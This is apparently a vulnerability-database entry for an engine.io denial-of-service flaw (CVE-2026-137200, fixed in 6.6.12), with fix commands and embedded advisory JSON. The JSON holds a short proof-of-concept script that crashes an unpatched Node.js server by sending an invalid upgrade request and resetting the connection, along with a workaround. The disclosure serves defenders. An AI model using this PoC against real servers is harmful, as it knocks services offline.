CVE-2026-137200: Engine.io Denial of Service Vulnerability
HIGHCVE-2026-137200 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-248: Uncaught Exception) affecting Engine.io libraries in the npm ecosystem. The issue involves engine.io dos via unhandled upgrade error. Remediation is available by upgrading affected packages to version 6.6.12.
CVE-2026-137200 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-137200
To remediate this vulnerability, upgrade all affected Engine.io dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install engine.io@6.6.12
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls engine.io
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-137200, inspect your project dependencies using npm:
npm ls engine.io
Analyze the terminal output to locate any version of Engine.io in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.6.12), your application is affected.
Note: The npm ls engine.io command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-248: Uncaught Exception, where an exception is thrown from a function, but it is not caught. In Engine.io, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-137200 Affected Engine.io Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
engine.io
|
npm |
< 6.6.12
|
6.6.12
|
References
Frequently Asked Questions
What is CVE-2026-137200?
Which Engine.io versions are affected?
What version fixes CVE-2026-137200?
Is engine.io affected?
What is the CVSS score of CVE-2026-137200?
What CWE is associated with CVE-2026-137200?
How can I check npm dependencies for CVE-2026-137200?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-v775-f652-7rv6",
"modified" : "2026-12-01T02:56:43Z",
"published" : "2026-12-01T02:56:43Z",
"aliases" : [ "CVE-2026-137200" ],
"summary" : "Socket.IO: Engine.IO DoS via unhandled upgrade error",
"details" : "### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**.\n\n### Proof of concept\n\n```js\nimport net from \"node:net\";\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, () => {\n console.log(\"Vulnerable server listening on port 3000\");\n\n // Attacker: Send an invalid upgrade request and disconnect abruptly\n const socket = net.connect(3000, () => {\n socket.write(\n \"GET / HTTP/1.1\\r\\n\" +\n \"Connection: Upgrade\\r\\n\" +\n \"Upgrade: websocket\\r\\n\" +\n \"\\r\\n\"\n );\n // Disconnect before the 1000ms timeout\n setTimeout(() => socket.resetAndDestroy(), 10);\n });\n});\n```\n\n**Expected Result:** The server crashes with:\n\n```\nUnhandled 'error' event (ECONNRESET)\n```\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.12` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by registering a listener for the `error` event:\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\nconst engine = new Server();\nconst server = http.createServer();\n\n// WORKAROUND: Add a global \"upgrade\" handler to catch ALL sockets\nserver.on(\"upgrade\", (req, socket, head) => {\n socket.on(\"error\", (err) => {\n console.debug(`[Workaround] Upgrade error: ${err.message}`);\n });\n});\n\nengine.attach(server);\n\nserver.listen(3000);\n```\n\nNote: This is a **temporary mitigation**. Upgrading to `engine.io@6.6.12` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [YuSheng Chen](https://github.com/samuel871211).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "engine.io"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "6.6.12"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/socketio/socket.io/security/advisories/GHSA-v775-f652-7rv6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-137200"
}, {
"type" : "WEB",
"url" : "https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/socketio/socket.io"
}, {
"type" : "WEB",
"url" : "https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.12"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-248" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-01T02:56:43Z",
"nvd_published_at" : "2026-11-30T21:17:25Z"
}
}